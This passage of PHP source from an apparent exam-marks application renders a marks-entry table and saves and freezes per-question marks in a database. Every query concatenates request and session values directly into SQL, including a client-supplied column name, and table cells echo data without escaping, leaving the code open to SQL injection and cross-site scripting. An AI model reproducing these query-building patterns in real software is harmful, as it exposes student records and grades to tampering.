ffreeze, ffreezedate, ffreezeusr, frevcode, frevtotmarks, fonlinerevtot, frevlogdate, fdeleted) select fregno, fclassid, fclassname, fsection, fteachcode, fvalno, fcollcode, fdegree, fexamno, fsubcode, fyear, fexamtype, felement, fmaxmarks, ftotmarks, fmdocno, fmode, flogdate, fq1a, fq1b, fq1c, fq1d, fq1e, fq1, fq2a, fq2b, fq2c, fq2d, fq2e, fq2, fq3a, fq3b, fq3c, fq3d, fq3e, fq3, fq4a, fq4b, fq4c, fq4d, fq4e, fq4, fq5a, fq5b, fq5c, fq5d, fq5e, fq5, fq6a, fq6b, fq6c, fq6d, fq6e, fq6, fq7a, fq7b, fq7c, fq7d, fq7e, fq7, fq8a, fq8b, fq8c, fq8d, fq8e, fq8, fq9a, fq9b, fq9c, fq9d, fq9e, fq9, fq10a, fq10b, fq10c, fq10d, fq10e, fq10, fonlinetot, fupddate, ffreeze, ffreezedate, ffreezeusr, frevcode, frevtotmarks, fonlinerevtot, frevlogdate, fdeleted from tdvs_copomarks where fcollcode = '{$packet}' and fvalno = '{$valno}' and frevcode = '{$user}' and fsubcode = '{$qpcode}'"; $res3 = $aobj_context->mobj_db->Execute($upd); }else { $query = "select $fileds fregno,ftotmarks,ifnull(fonlinetot,'') as fonlinetot from tdvs_copomarks where fcollcode = '{$packet}' and fvalno = '{$valno}' and fsubcode = '{$qpcode}'"; $res2 = $aobj_context->mobj_db->GetAll($query); } $i = 1; $oldqn = ""; // var_dump($arry);die(); // $uniqueNumbers = array_unique(array_map(function($item) { // return (int)filter_var($item, FILTER_SANITIZE_NUMBER_INT); // }, $inputArray)); foreach($res2 as $val) { $e_data.="<tr id = 'td_$i'>"; $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>$i</center></td>"; $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>{$val['fregno']} <input type = 'hidden' value ='".$val['fregno']."' id = '$i".'hregno'."'/> <input type = 'hidden' value ='N' id = '$i".'hcregno'."'/> <input type = 'hidden' value ='".count($arry)."' id = '$i".'totqp'."'/> </center></td>"; $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;text-align: center;' id = '$i".'totmarks'."'>{$val['ftotmarks']}</td>"; $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;text-align: center;' id = '$i".'onlinetot'."'>{$val['fonlinetot']}</td>"; for($z =0;$z<count($arry);$z++) { preg_match_all('!\d+!', $arry[$z], $matches); // print output of function $qpno = $matches[0][0]; if(substr($arry[$z], -1) == '1' || substr($arry[$z], -1) == '2' || substr($arry[$z], -1) == '3' || substr($arry[$z], -1) == '4' || substr($arry[$z], -1) == '5' || substr($arry[$z], -1) == '6' || substr($arry[$z], -1) == '7' || substr($arry[$z], -1) == '8' || substr($arry[$z], -1) == '9' || substr($arry[$z], -2) == '10') { $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;text-align:center'> <input type = 'text' value ='".$val[$arry[$z]]."' disabled style='width:30px;text-align: center;' onchange = 'getregupd(this),valmaxmarksNewExt(this)' id = '$i".'_'."$arry[$z]_$qpno'/> <input type = 'hidden' value ='".$arry[$z]."_".$qpno."' id = '$i".'_hqp_'."$z'/> </td>"; }else { $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;text-align:center'><input type = 'text' value ='".$val[$arry[$z]]."' style='width:30px;text-align: center;' onchange = 'getregupd(this),valmaxmarksNewExt(this)' id = '$i".'_qp_'.$qpno."_$z'/> <input type = 'hidden' value ='".$arry[$z]."_".$qpno."' id = '$i".'_hqp_'."$z'/> </td>"; } } $e_data.="</tr>"; $i++; } $e_data.="</table>"; $lob = true; if($lob){ $arry['tabledata'] = $e_data; $arry['qpcnt'] = $z; $arry['tablecnt'] = count($res2); $arry['qno'] = $qno; echo $aobj_context->mobj_output->ToJSONEnvelope($arry,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function SaveCopoMarkEntryExternal($aobj_context) { $valno = $aobj_context->mobj_data["valno"]; $packet = $aobj_context->mobj_data["packet"]; $qpcode = $aobj_context->mobj_data["qpcode"]; $submarks = $aobj_context->mobj_data["submarks"]; $collcode=$_SESSION['collcode']; $user_type = $_SESSION['usrtype']; //var_dump($user_type); $user = $_SESSION['usr']; $fsubarry = json_decode($submarks); $fviewopt = $_SESSION['fviewopt']; if($fviewopt == 'T') { $rdata='Only View Option Enabled'; echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"); return; } $query = "select count(*) as cnt from tdvs_copomarks where frevcode = '{$user}' and fsubcode = '{$qpcode}' and fvalno = '{$valno}' and fcollcode = '{$packet}'"; $res9 = $aobj_context->mobj_db->Getrow($query); if($res9['cnt'] >0) { } $queryFreeze = "select distinct ifnull(ffreeze, '')as ffreeze from tdvs_copomarks where fcollcode='{$packet}' and fvalno='{$valno}' and fsubcode='{$qpcode}'"; $resFreeze = $aobj_context->mobj_db->GetRow($queryFreeze); if($res9['cnt'] <= 0) { if($resFreeze['ffreeze'] == 'T'){ $rdata = "Already freezed"; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata, -1, "Failure")); return; } } $qry3 = "select fdegree,fexamno from tdvs_qpcopo where fqpcode = '{$qpcode}'"; $res3 = $aobj_context->mobj_db->Getrow($qry3); $degree = $res3['fdegree']; $examno = $res3['fexamno']; $query = "select fcsubcode from subject where fdegree = '{$degree}' and fexamno = '{$examno}' and fqpcode = '{$qpcode}'"; $res1 = $aobj_context->mobj_db->Getrow($query); $fsubcode = $res1['fcsubcode']; foreach($fsubarry as $val) { $res = $val; foreach($res as $value) { $regno = $value->regno; $totmarks = $value->totmarks; $onlinetot = $value->onlinetot; $maxmarks = $value->maxmarks; $qp = $value->qp; $cnd = "fonlinetot = '{$onlinetot}',"; if($res9['cnt'] >0) { $upd = "update tdvs_copomarks set $qp = '{$maxmarks}', fonlinerevtot = '{$onlinetot}', frevlogdate=now() where fregno = '{$regno}' and fvalno = '{$valno}' and fsubcode = '{$qpcode}' and fcollcode = '{$packet}'"; }else { $upd = "update tdvs_copomarks set $qp = '{$maxmarks}', ftotmarks = '{$totmarks}', fonlinetot = '{$onlinetot}', fupddate=now(),flogdate = now() where fregno = '{$regno}' and fvalno = '{$valno}' and fsubcode = '{$qpcode}' and fcollcode = '{$packet}'"; } $resupd = $aobj_context->mobj_db->Execute($upd); } } if($resupd) { $rdata = "Updated Successfully."; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success")); return; } else { $rdata = "No Updation / Add..!"; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return; } } function freezeCopoSeeMarksEntry($aobj_context){ $valno = $aobj_context->mobj_data["valno"]; $packet = $aobj_context->mobj_data["packet"]; $qpcode = $aobj_context->mobj_data["qpcode"]; $usr = $_SESSION['usr']; $queryFreeze = "select distinct ifnull(ffreeze, '')as ffreeze from tdvs_copomarks where fcollcode='{$packet}' and fvalno='{$valno}' and fsubcode='{$qpcode}'"; $resFreeze = $aobj_context->mobj_db->GetRow($queryFreeze); // var_dump($queryFreeze); // die(); if($resFreeze['ffreeze'] == 'T'){ $data = "Already freezed"; echo($aobj_context->mobj_output->ToJSONEnvelope($data, -1, "Failure")); return; } $queryFreeze = "select distinct count(*) as cnt from tdvs_copomarks where fcollcode='{$packet}' and ifnull(ftotmarks,'') <> ifnull(fonlinetot,'') and fvalno='{$valno}' and fsubcode='{$qpcode}'"; $res = $aobj_context->mobj_db->GetRow($queryFreeze); //var_dump($queryFreeze); //var_dump($res['cnt']); if($res['cnt'] == '0') { }else { $data = "Total Marks and Online Marks are not matching please check"; echo($aobj_context->mobj_output->ToJSONEnvelope($data, -1, "Failure")); return; } $query = "update tdvs_copomarks set ffreeze='T', ffreezedate=now(), ffreezeusr='{$usr}' where fcollcode='{$packet}' and fvalno='{$valno}' and fsubcode='{$qpcode}'"; $resupd = $aobj_context->mobj_db->Execute($query); if($resupd){ $data = "Freezed Successfully."; echo($aobj_context->mobj_output->ToJSONEnvelope($data, 0, "success")); return; }else{ $data = "Failed to freeze"; echo($aobj_context->mobj_output->ToJSONEnvelope($data, -1, "Failure")); return; } } ?>
Close